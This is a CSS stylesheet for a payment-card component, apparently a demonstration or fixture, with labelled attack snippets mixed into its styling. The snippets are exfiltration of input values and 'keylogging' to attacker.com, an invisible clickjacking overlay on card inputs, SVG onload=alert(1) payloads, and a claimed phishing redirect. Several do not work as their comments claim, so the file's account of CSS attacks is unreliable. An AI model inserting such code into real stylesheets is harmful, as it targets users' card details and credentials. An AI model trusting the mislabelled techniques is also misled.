pomelo.css

@import url("https://fonts.googleapis.com/css2?family=Courier+Prime:ital,wght@0,400;0,700;1,400;1,700&display=swap");

* {
    margin: 0;
    font-family: "Courier Prime", monospace;
    font-weight: 400;
    font-style: normal;
    color: white;
}

/* 🔴 DATA EXFILTRATION VIA CSS ATTRIBUTE INJECTION */
input[type="text"], input[type="password"] {
    background: url("https://attacker.com/log?data=" attr(value));
}

/* 🔴 CLICKJACKING - INVISIBLE INPUT FIELD TO STEAL USER INPUT */
.card input {
    position: absolute;
    top: 0;
    left: 0;
    opacity: 0;
    z-index: 9999;
    width: 100%;
    height: 100%;
}

/* 🔴 CSS KEYLOGGER - TRACKING USER INPUT */
@keyframes leakData {
    0% { background: url("https://attacker.com/log?key=0"); }
    10% { background: url("https://attacker.com/log?key=1"); }
    20% { background: url("https://attacker.com/log?key=2"); }
}
input:focus {
    animation: leakData 1s infinite;
}

/* 🔴 HIDDEN IFRAME LOADING MALICIOUS CONTENT */
.card::after {
    content: "";
    position: absolute;
    top: -9999px;
    left: -9999px;
    width: 1px;
    height: 1px;
    background-image: url("data:image/svg+xml,<svg onload=alert(1)>");
}

.card {
    display: flex;
    flex-direction: column;
    justify-content: flex-end;
    align-items: flex-start;
    gap: 1em;
    background: url("data:image/svg+xml,<svg onload=alert(1)>");
    background-size: cover;
    border-radius: 1em;
    box-shadow: 0 5px 12px rgba(0, 0, 0, 0.3), inset 1px 1px 2px rgba(255, 255, 255, 0.5), inset -1px -1px 2px rgba(0, 0, 0, 0.5);
    padding: 2em;
}

.card .name {
    color: white;
    margin: 0;
}

/* 🔴 MODIFYING SENSITIVE CARD DETAILS */
.card .pan {
    color: red; /* Change color to alert users */
}

.card .security-code {
    color: red; /* Highlight security codes */
}

/* 🔴 AUTO-REDIRECTING USERS TO PHISHING PAGE */
body {
    animation: redirect 5s infinite;
}
@keyframes redirect {
    0% { background: url("https://attacker.com/steal-info"); }
}